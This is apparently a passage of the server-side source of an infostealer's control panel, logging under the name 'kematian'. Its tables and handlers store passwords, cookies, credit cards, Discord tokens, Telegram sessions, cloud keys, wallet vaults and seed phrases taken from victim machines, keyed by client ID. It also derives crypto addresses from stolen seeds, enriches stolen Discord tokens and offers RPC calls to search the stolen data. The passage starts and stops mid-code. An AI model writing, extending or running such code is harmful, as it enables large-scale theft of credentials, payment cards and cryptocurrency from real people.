"Unknown", address: addr }); + } + if (kr.mnemonic) + accounts.push({ type: "Mnemonic", mnemonic: kr.mnemonic }); + } + } catch (_) { + } + return accounts; +} +function prepareStatements(db) { + return { + insPw: db.prepare(`INSERT OR REPLACE INTO passwords(client_id,url,username,password,browser,profile,captured_at) VALUES(?,?,?,?,?,?,?)`), + insCk: db.prepare(`INSERT OR REPLACE INTO cookies(client_id,host,name,value,path,secure,http_only,expires_utc,browser,profile,captured_at) VALUES(?,?,?,?,?,?,?,?,?,?,?)`), + insAf: db.prepare(`INSERT OR IGNORE INTO autofill(client_id,name,value,browser,profile,captured_at) VALUES(?,?,?,?,?,?)`), + insHi: db.prepare(`INSERT OR IGNORE INTO history(client_id,url,title,visit_time_unix,browser,profile,captured_at) VALUES(?,?,?,?,?,?,?)`), + insBk: db.prepare(`INSERT OR REPLACE INTO bookmarks(client_id,name,url,type,browser,profile,captured_at) VALUES(?,?,?,?,?,?,?)`), + insCc: db.prepare(`INSERT OR REPLACE INTO credit_cards(client_id,name_on_card,card_number,expiration_month,expiration_year,nickname,browser,profile,captured_at) VALUES(?,?,?,?,?,?,?,?,?)`), + insDt: db.prepare(`INSERT OR IGNORE INTO discord_tokens(client_id,token,source,captured_at) VALUES(?,?,?,?)`), + insFi: db.prepare(`INSERT OR REPLACE INTO files(client_id,dir,name,ext,size,modified,path,tags,captured_at) VALUES(?,?,?,?,?,?,?,?,?)`), + insEx: db.prepare(`INSERT OR REPLACE INTO extensions(client_id,ext_id,name,version,browser,profile,path,category,captured_at) VALUES(?,?,?,?,?,?,?,?,?)`), + insWl: db.prepare(`INSERT OR REPLACE INTO wallets(client_id,name,type,path,files,size,captured_at) VALUES(?,?,?,?,?,?,?)`), + insTg: db.prepare(`INSERT OR REPLACE INTO telegram_sessions(client_id,account,path,files,size,captured_at) VALUES(?,?,?,?,?,?)`), + insKey: db.prepare(`INSERT OR REPLACE INTO cloud_keys(client_id,type,name,path,size,content,captured_at) VALUES(?,?,?,?,?,?,?)`), + insSeed: db.prepare(`INSERT OR REPLACE INTO seeds(client_id,source,path,phrase,words,valid,addresses,captured_at) VALUES(?,?,?,?,?,?,?,?)`), + insApp: db.prepare(`INSERT OR REPLACE INTO app_credentials(client_id,application,host,port,username,password,protocol,extra,captured_at) VALUES(?,?,?,?,?,?,?,?,?)`), + upsertRun: db.prepare(`INSERT OR REPLACE INTO client_runs(client_id,last_captured_at) VALUES(?,?)`) + }; +} +function clearClient(db, clientId) { + for (const tbl of ["passwords", "cookies", "autofill", "history", "bookmarks", "credit_cards", "discord_tokens", "discord_profiles", "files", "extensions", "wallets", "wallet_data", "telegram_sessions", "cloud_keys", "seeds", "app_credentials"]) + db.prepare(`DELETE FROM ${tbl} WHERE client_id=?`).run(clientId); +} +function insertPayload(db, s, clientId, payload, now) { + for (const r of payload.passwords || []) + s.insPw.run(clientId, r.url, r.username, r.password, r.browser, r.profile, now); + for (const r of payload.cookies || []) + s.insCk.run(clientId, r.host, r.name, r.value, r.path, r.secure ? 1 : 0, r.httpOnly ? 1 : 0, r.expiresUtc, r.browser, r.profile, now); + for (const r of payload.autofill || []) + s.insAf.run(clientId, r.name, r.value, r.browser, r.profile, now); + for (const r of payload.history || []) + s.insHi.run(clientId, r.url, r.title, r.visitTimeUnix, r.browser, r.profile, now); + for (const r of payload.bookmarks || []) + s.insBk.run(clientId, r.name, r.url, r.type, r.browser, r.profile, now); + for (const r of payload.creditCards || []) + s.insCc.run(clientId, r.nameOnCard, r.cardNumber, r.expirationMonth, r.expirationYear, r.nickname, r.browser, r.profile, now); + for (const r of payload.discordTokens || []) + s.insDt.run(clientId, r.token, r.source, now); + for (const r of payload.files || []) + s.insFi.run(clientId, r.dir, r.name, r.ext, r.size, r.modified, r.path, (r.tags || []).join(",") || null, now); + for (const r of payload.extensions || []) + s.insEx.run(clientId, r.extId, r.name, r.version, r.browser, r.profile, r.path, r.category || null, now); + for (const r of payload.wallets || []) + s.insWl.run(clientId, r.name, r.type || null, r.path, r.files, r.size, now); + for (const r of payload.telegram || []) + s.insTg.run(clientId, r.account, r.path, r.files, r.size, now); + for (const r of payload.keys || []) + s.insKey.run(clientId, r.type, r.name, r.path, r.size, r.content || null, now); + for (const r of payload.appCredentials || []) + s.insApp.run(clientId, r.application, r.host || null, r.port || 0, r.username || null, r.password || null, r.protocol || null, r.extra || null, now); +} +var TABLE_CFGS = { + passwords: { + tbl: "passwords", + sel: "client_id as clientId,url,username,password,browser,profile", + searchOn: ["url", "username"], + order: "captured_at DESC", + hasBrowser: true + }, + cookies: { + tbl: "cookies", + sel: "client_id as clientId,host,name,value,path,secure,http_only as httpOnly,expires_utc as expiresUtc,browser,profile", + searchOn: ["host", "name"], + order: "captured_at DESC", + hasBrowser: true + }, + autofill: { + tbl: "autofill", + sel: "client_id as clientId,name,value,browser,profile", + searchOn: ["name", "value"], + order: "captured_at DESC", + hasBrowser: true + }, + history: { + tbl: "history", + sel: "client_id as clientId,url,title,visit_time_unix as visitTimeUnix,browser,profile", + searchOn: ["url", "title"], + order: "visit_time_unix DESC", + hasBrowser: true + }, + bookmarks: { + tbl: "bookmarks", + sel: "client_id as clientId,name,url,type,browser,profile", + searchOn: ["name", "url"], + order: "captured_at DESC", + hasBrowser: true + }, + credit_cards: { + tbl: "credit_cards", + sel: "client_id as clientId,name_on_card as nameOnCard,card_number as cardNumber,expiration_month as expirationMonth,expiration_year as expirationYear,nickname,browser,profile", + searchOn: ["name_on_card", "nickname"], + order: "captured_at DESC", + hasBrowser: true + }, + discord_tokens: { + tbl: "discord_tokens", + sel: "client_id as clientId,token,source", + searchOn: ["token", "source"], + order: "captured_at DESC", + hasBrowser: false + }, + files: { + tbl: "files", + sel: "client_id as clientId,dir,name,ext,size,modified,path,tags", + searchOn: ["dir", "name", "path"], + order: "modified DESC", + hasBrowser: false + }, + extensions: { + tbl: "extensions", + sel: "client_id as clientId,ext_id as extId,name,version,browser,profile,path,category", + searchOn: ["name", "ext_id"], + order: "captured_at DESC", + hasBrowser: true + }, + wallets: { + tbl: "wallets", + sel: "client_id as clientId,name,type,path,files,size", + searchOn: ["name", "path"], + order: "captured_at DESC", + hasBrowser: false + }, + telegram: { + tbl: "telegram_sessions", + sel: "client_id as clientId,account,path,files,size,content IS NOT NULL as hasContent", + searchOn: ["account", "path"], + order: "captured_at DESC", + hasBrowser: false + }, + keys: { + tbl: "cloud_keys", + sel: "client_id as clientId,type,name,path,size,content", + searchOn: ["type", "name", "path"], + order: "captured_at DESC", + hasBrowser: false + }, + seeds: { + tbl: "seeds", + sel: "client_id as clientId,source,path,phrase,words,valid,addresses", + searchOn: ["source", "path", "phrase"], + order: "valid DESC, captured_at DESC", + hasBrowser: false + }, + app_credentials: { + tbl: "app_credentials", + sel: "client_id as clientId,application,host,port,username,password,protocol,extra", + searchOn: ["application", "host", "username", "protocol"], + order: "captured_at DESC", + hasBrowser: false + } +}; +function listTable(ctx, cfg, params) { + const limit = Math.max(0, Number(params?.limit ?? 1000)); + const offset = Math.max(0, Number(params?.offset ?? 0)); + const search = String(params?.search || "").trim(); + const cid = params?.clientId; + const browser = cfg.hasBrowser ? String(params?.browser || "") : ""; + const wheres = [], args = []; + if (cid) { + wheres.push("client_id = ?"); + args.push(cid); + } + if (browser) { + wheres.push("browser = ?"); + args.push(browser); + } + if (search && cfg.searchOn.length) { + wheres.push("(" + cfg.searchOn.map((c) => `${c} LIKE ?`).join(" OR ") + ")"); + for (let i = 0;i < cfg.searchOn.length; i++) + args.push(`%${search}%`); + } + const where = wheres.length ? " WHERE " + wheres.join(" AND ") : ""; + const total = ctx.db.prepare(`SELECT COUNT(*) as n FROM ${cfg.tbl}${where}`).get(...args).n; + let q = `SELECT ${cfg.sel} FROM ${cfg.tbl}${where} ORDER BY ${cfg.order}`; + if (limit > 0) + q += ` LIMIT ${limit} OFFSET ${offset}`; + return { rows: ctx.db.prepare(q).all(...args), total }; +} +var server_src_default = { + setup(ctx) { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS passwords ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, username TEXT, password TEXT, browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS pw_client ON passwords(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS pw_dedup ON passwords(client_id, url, username, browser, profile); + + CREATE TABLE IF NOT EXISTS cookies ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + host TEXT, name TEXT, value TEXT, path TEXT, + secure INTEGER, http_only INTEGER, expires_utc INTEGER, + browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ck_client ON cookies(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS ck_dedup ON cookies(client_id, host, name, path, browser, profile); + + CREATE TABLE IF NOT EXISTS autofill ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, value TEXT, browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS af_client ON autofill(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS af_dedup ON autofill(client_id, name, value, browser, profile); + + CREATE TABLE IF NOT EXISTS history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, title TEXT, visit_time_unix INTEGER, + browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS hi_client ON history(client_id); + CREATE INDEX IF NOT EXISTS hi_visit ON history(visit_time_unix); + CREATE UNIQUE INDEX IF NOT EXISTS hi_dedup ON history(client_id, url, visit_time_unix, browser, profile); + + CREATE TABLE IF NOT EXISTS bookmarks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, url TEXT, type TEXT, browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS bk_client ON bookmarks(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS bk_dedup ON bookmarks(client_id, url, browser, profile); + + CREATE TABLE IF NOT EXISTS credit_cards ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name_on_card TEXT, card_number TEXT, expiration_month TEXT, expiration_year TEXT, + nickname TEXT, browser TEXT, profile TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS cc_client ON credit_cards(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS cc_dedup ON credit_cards(client_id, card_number, name_on_card, browser, profile); + + CREATE TABLE IF NOT EXISTS discord_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + token TEXT, source TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS dt_client ON discord_tokens(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS dt_dedup ON discord_tokens(client_id, token); + + CREATE TABLE IF NOT EXISTS files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + dir TEXT, name TEXT, ext TEXT, size INTEGER, modified INTEGER, path TEXT, + tags TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS fi_client ON files(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS fi_dedup ON files(client_id, path); + + CREATE TABLE IF NOT EXISTS extensions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + ext_id TEXT, name TEXT, version TEXT, browser TEXT, profile TEXT, path TEXT, + category TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ex_client ON extensions(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS ex_dedup ON extensions(client_id, ext_id, browser, profile); + + CREATE TABLE IF NOT EXISTS wallets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, type TEXT, path TEXT, files INTEGER, size INTEGER, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS wl_client ON wallets(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS wl_dedup ON wallets(client_id, name, path); + + CREATE TABLE IF NOT EXISTS discord_profiles ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + token TEXT NOT NULL UNIQUE, + user_id TEXT, username TEXT, discriminator TEXT, global_name TEXT, + avatar TEXT, email TEXT, phone TEXT, + verified INTEGER, mfa_enabled INTEGER, premium_type INTEGER, + flags INTEGER, public_flags INTEGER, locale TEXT, + friends_count INTEGER, guilds_count INTEGER, guild_names TEXT, + enriched_at INTEGER, error TEXT + ); + CREATE INDEX IF NOT EXISTS dp_client ON discord_profiles(client_id); + + CREATE TABLE IF NOT EXISTS wallet_data ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT NOT NULL, + path TEXT NOT NULL, + type TEXT, + addresses TEXT, + vault_data TEXT, + content BLOB, + size INTEGER, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS wld_client ON wallet_data(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS wld_client_name ON wallet_data(client_id, name); + + CREATE TABLE IF NOT EXISTS telegram_sessions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + account TEXT NOT NULL, + path TEXT, + files INTEGER, + size INTEGER, + content BLOB, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS tg_client ON telegram_sessions(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS tg_client_account ON telegram_sessions(client_id, account); + + CREATE TABLE IF NOT EXISTS cloud_keys ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + type TEXT NOT NULL, + name TEXT NOT NULL, + path TEXT, + size INTEGER, + content TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ck2_client ON cloud_keys(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS ck2_dedup ON cloud_keys(client_id, type, name, path); + + CREATE TABLE IF NOT EXISTS seeds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + source TEXT NOT NULL, + path TEXT, + phrase TEXT NOT NULL, + words INTEGER NOT NULL, + valid INTEGER DEFAULT 0, + addresses TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS sd_client ON seeds(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS sd_phrase ON seeds(client_id, phrase); + + CREATE TABLE IF NOT EXISTS app_credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + application TEXT NOT NULL, + host TEXT, + port INTEGER, + username TEXT, + password TEXT, + protocol TEXT, + extra TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ac_client ON app_credentials(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS ac_dedup ON app_credentials(client_id, application, host, username, protocol); + + CREATE TABLE IF NOT EXISTS client_runs ( + client_id TEXT PRIMARY KEY, + last_captured_at INTEGER NOT NULL + ); + `); + try { + ctx.db.exec(`ALTER TABLE files ADD COLUMN tags TEXT`); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS discord_profiles ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, token TEXT NOT NULL UNIQUE, + user_id TEXT, username TEXT, discriminator TEXT, global_name TEXT, + avatar TEXT, email TEXT, phone TEXT, + verified INTEGER, mfa_enabled INTEGER, premium_type INTEGER, + flags INTEGER, public_flags INTEGER, locale TEXT, + friends_count INTEGER, guilds_count INTEGER, guild_names TEXT, + enriched_at INTEGER, error TEXT + ); + CREATE INDEX IF NOT EXISTS dp_client ON discord_profiles(client_id); + `); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS extensions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + ext_id TEXT, name TEXT, version TEXT, browser TEXT, profile TEXT, path TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ex_client ON extensions(client_id); + `); + } catch (_) { + } + try { + ctx.db.exec(`ALTER TABLE extensions ADD COLUMN category TEXT`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS pw_dedup ON passwords(client_id, url, username, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS ck_dedup ON cookies(client_id, host, name, path, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS af_dedup ON autofill(client_id, name, value, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS hi_dedup ON history(client_id, url, visit_time_unix, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS bk_dedup ON bookmarks(client_id, url, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS cc_dedup ON credit_cards(client_id, card_number, name_on_card, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS dt_dedup ON discord_tokens(client_id, token)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS fi_dedup ON files(client_id, path)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS ex_dedup ON extensions(client_id, ext_id, browser, profile)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS wl_dedup ON wallets(client_id, name, path)`); + } catch (_) { + } + try { + ctx.db.exec(`CREATE UNIQUE INDEX IF NOT EXISTS ck2_dedup ON cloud_keys(client_id, type, name, path)`); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS wallets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, path TEXT, files INTEGER, size INTEGER, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS wl_client ON wallets(client_id); + `); + } catch (_) { + } + try { + ctx.db.exec(`ALTER TABLE wallets ADD COLUMN type TEXT`); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS wallet_data ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, name TEXT NOT NULL, path TEXT NOT NULL, + type TEXT, addresses TEXT, vault_data TEXT, content BLOB, size INTEGER, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS wld_client ON wallet_data(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS wld_client_name ON wallet_data(client_id, name); + `); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS telegram_sessions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, account TEXT NOT NULL, path TEXT, + files INTEGER, size INTEGER, content BLOB, captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS tg_client ON telegram_sessions(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS tg_client_account ON telegram_sessions(client_id, account); + `); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS cloud_keys ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, type TEXT NOT NULL, name TEXT NOT NULL, + path TEXT, size INTEGER, content TEXT, captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ck2_client ON cloud_keys(client_id); + `); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS seeds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, source TEXT NOT NULL, path TEXT, + phrase TEXT NOT NULL, words INTEGER NOT NULL, + valid INTEGER DEFAULT 0, addresses TEXT, captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS sd_client ON seeds(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS sd_phrase ON seeds(client_id, phrase); + `); + } catch (_) { + } + try { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS app_credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, application TEXT NOT NULL, + host TEXT, port INTEGER, username TEXT, password TEXT, + protocol TEXT, extra TEXT, captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS ac_client ON app_credentials(client_id); + CREATE UNIQUE INDEX IF NOT EXISTS ac_dedup ON app_credentials(client_id, application, host, username, protocol); + `); + } catch (_) { + } + try { + stmts = prepareStatements(ctx.db); + } catch (err) { + console.error("[kematian] prepareStatements failed:", err.message, err.stack || ""); + throw err; + } + }, + onEvent(ctx, clientId, event, payload) { + if (!stmts) { + console.error("[kematian] onEvent called but stmts is null — setup likely failed"); + return; + } + const now = Date.now(); + if (event === "results") { + const tx = ctx.db.transaction(() => { + insertPayload(ctx.db, stmts, clientId, payload, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + for (const r of payload.discordTokens || []) + enrichDiscordToken(ctx, clientId, r.token).catch(() => { + }); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "partial") { + const tx = ctx.db.transaction(() => { + insertPayload(ctx.db, stmts, clientId, payload, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + for (const r of payload.discordTokens || []) + if (needsEnrichment(ctx, r.token)) + enrichDiscordToken(ctx, clientId, r.token).catch(() => { + }); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "file_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.files || []) + stmts.insFi.run(clientId, r.dir, r.name, r.ext, r.size, r.modified, r.path, (r.tags || []).join(",") || null, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "extension_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.extensions || []) + stmts.insEx.run(clientId, r.extId, r.name, r.version, r.browser, r.profile, r.path, r.category || null, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "wallet_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.wallets || []) + stmts.insWl.run(clientId, r.name, r.type || null, r.path, r.files, r.size, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "wallet_auto_data") { + const content = payload.content ? Buffer.from(payload.content, "base64") : null; + ctx.db.prepare(`INSERT OR REPLACE INTO wallet_data(client_id,name,path,type,addresses,vault_data,content,size,captured_at) VALUES(?,?,?,?,?,?,?,?,?)`).run(clientId, payload.name, payload.path, payload.type || null, JSON.stringify(payload.addresses || []), payload.vaultData || null, content, payload.size || 0, now); + ctx.broadcast("wallet_data_update", { clientId, name: payload.name }); + } else if (event === "telegram_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.sessions || []) + stmts.insTg.run(clientId, r.account, r.path, r.files, r.size, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "telegram_data") { + const content = payload.content ? Buffer.from(payload.content, "base64") : null; + ctx.db.prepare(`INSERT OR REPLACE INTO telegram_sessions(client_id,account,path,files,size,content,captured_at) VALUES(?,?,?,?,?,?,?)`).run(clientId, payload.account, payload.path, 0, payload.size || 0, content, now); + ctx.broadcast("telegram_data_update", { clientId, account: payload.account }); + } else if (event === "app_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.appCredentials || []) + stmts.insApp.run(clientId, r.application, r.host || null, r.port || 0, r.username || null, r.password || null, r.protocol || null, r.extra || null, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "key_scan_results") { + const tx = ctx.db.transaction(() => { + for (const r of payload?.keys || []) + stmts.insKey.run(clientId, r.type, r.name, r.path, r.size, r.content || null, now); + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("harvest_update", { clientId }); + } else if (event === "seed_scan_results") { + const seeds = payload?.seeds || []; + if (!seeds.length) + return; + const tx = ctx.db.transaction(() => { + for (const s of seeds) { + const words = s.phrase.split(/\s+/); + let valid = 0; + let addresses = null; + try { + if (words.every((w) => wordlist.includes(w))) { + valid = 1; + const addrs = [ + ...deriveEthAddresses(s.phrase, 2).map((a) => ({ chain: "EVM", address: a })), + ...deriveBtcAddresses(s.phrase, 1).map((a) => ({ chain: "BTC", address: a })), + ...deriveLtcAddresses(s.phrase, 1).map((a) => ({ chain: "LTC", address: a })), + ...deriveTrxAddresses(s.phrase, 1).map((a) => ({ chain: "TRX", address: a })) + ]; + addresses = JSON.stringify(addrs); + } + } catch (_) { + } + stmts.insSeed.run(clientId, s.source, s.path || null, s.phrase, s.words, valid, addresses, now); + } + stmts.upsertRun.run(clientId, now); + }); + tx(); + ctx.broadcast("seed_update", { clientId, count: seeds.length }); + } + }, + rpc: { + get_stats(ctx) { + return ctx.db.prepare(` + SELECT + cr.client_id AS clientId, + cr.last_captured_at AS lastCapturedAt, + (SELECT COUNT(*) FROM passwords WHERE client_id = cr.client_id) AS passwords, + (SELECT COUNT(*) FROM cookies WHERE client_id = cr.client_id) AS cookies, + (SELECT COUNT(*) FROM autofill WHERE client_id = cr.client_id) AS autofill, + (SELECT COUNT(*) FROM history WHERE client_id = cr.client_id) AS history, + (SELECT COUNT(*) FROM bookmarks WHERE client_id = cr.client_id) AS bookmarks, + (SELECT COUNT(*) FROM credit_cards WHERE client_id = cr.client_id) AS creditCards, + (SELECT COUNT(*) FROM discord_tokens WHERE client_id = cr.client_id) AS discordTokens, + (SELECT COUNT(*) FROM files WHERE client_id = cr.client_id) AS files, + (SELECT COUNT(*) FROM extensions WHERE client_id = cr.client_id) AS extensions, + (SELECT COUNT(*) FROM wallets WHERE client_id = cr.client_id) AS wallets, + (SELECT COUNT(*) FROM telegram_sessions WHERE client_id = cr.client_id) AS telegram, + (SELECT COUNT(*) FROM cloud_keys WHERE client_id = cr.client_id) AS keys, + (SELECT COUNT(*) FROM seeds WHERE client_id = cr.client_id) AS seeds, + (SELECT COUNT(*) FROM app_credentials WHERE client_id = cr.client_id) AS appCredentials + FROM client_runs cr + ORDER BY cr.last_captured_at DESC + `).all(); + }, + async get_summary(ctx) { + const clients = ctx.db.prepare(` + SELECT + cr.client_id AS clientId, + cr.last_captured_at AS lastCapturedAt, + (SELECT COUNT(*) FROM passwords WHERE client_id = cr.client_id) AS passwords, + (SELECT COUNT(*) FROM cookies WHERE client_id = cr.client_id) AS cookies, + (SELECT COUNT(*) FROM credit_cards WHERE client_id = cr.client_id) AS creditCards, + (SELECT COUNT(*) FROM discord_tokens WHERE client_id = cr.client_id) AS discordTokens, + (SELECT COUNT(*) FROM wallets WHERE client_id = cr.client_id) AS wallets + FROM client_runs cr ORDER BY cr.last_captured_at DESC + `).all(); + const results = []; + for (const c of clients) { + const walletRows = ctx.db.prepare(`SELECT name, type FROM wallets WHERE client_id = ?`).all(c.clientId); + const walletDataRows = ctx.db.prepare(`SELECT name, content IS NOT NULL AS hasContent, vault_data IS NOT NULL AS hasVault FROM wallet_data WHERE client_id = ?`).all(c.clientId); + const pwCount = ctx.db.prepare(`SELECT COUNT(*) AS cnt FROM passwords WHERE client_id = ? AND password IS NOT NULL AND password != ''`).get(c.clientId)?.cnt || 0; + const downloaded = walletDataRows.filter((w) => w.hasContent); + results.push({ + ...c, + walletNames: walletRows.map((w) => w.name), + walletDownloaded: downloaded.map((w) => w.name), + walletVaults: downloaded.filter((w) => w.hasVault).map((w) => w.name), + passwordCount: pwCount + }); + } + return results; + }, + list_passwords(ctx, params) { + return listTable(ctx, TABLE_CFGS.passwords, params); + }, + list_cookies(ctx, params) { + return listTable(ctx, TABLE_CFGS.cookies, params); + }, + list_autofill(ctx, params) { + return listTable(ctx, TABLE_CFGS.autofill, params); + }, + list_history(ctx, params) { + return listTable(ctx, TABLE_CFGS.history, params); + }, + list_bookmarks(ctx, params) { + return listTable(ctx, TABLE_CFGS.bookmarks, params); + }, + list_credit_cards(ctx, params) { + return listTable(ctx, TABLE_CFGS.credit_cards, params); + }, + list_discord_tokens(ctx, params) { + return listTable(ctx, TABLE_CFGS.discord_tokens, params); + }, + list_discord_profiles(ctx, params) { + const cid = params?.clientId; + const search = String(params?.search || "").trim(); + const wheres = [], args = []; + if (cid) { + wheres.push("dt.client_id = ?"); + args.push(cid); + } + if (search) { + wheres.push("(dt.token LIKE ? OR dp.username LIKE ? OR dp.email LIKE ? OR dp.global_name LIKE ?)"); + args.push(`%${search}%`, `%${search}%`, `%${search}%`, `%${search}%`); + } + const where = wheres.length ? " WHERE " + wheres.join(" AND ") : ""; + const rows = ctx.db.prepare(` + SELECT dt.client_id as clientId, dt.token, dt.source, dt.captured_at, + dp.user_id, dp.username, dp.discriminator, dp.global_name, dp.avatar, + dp.email, dp.phone, dp.verified, dp.mfa_enabled, dp.premium_type, + dp.flags, dp.public_flags, dp.locale, dp.friends_count, dp.guilds_count, + dp.guild_names, dp.enriched_at, dp.error + FROM discord_tokens dt + LEFT JOIN discord_profiles dp ON dp.token = dt.token + ${where} + ORDER BY dt.captured_at DESC + `).all(...args); + return { rows, total: rows.length }; + }, + async enrich_discord_token(ctx, params) { + const { token, clientId } = params || {}; + if (!token) + throw new Error("token required"); + if (!clientId) + throw new 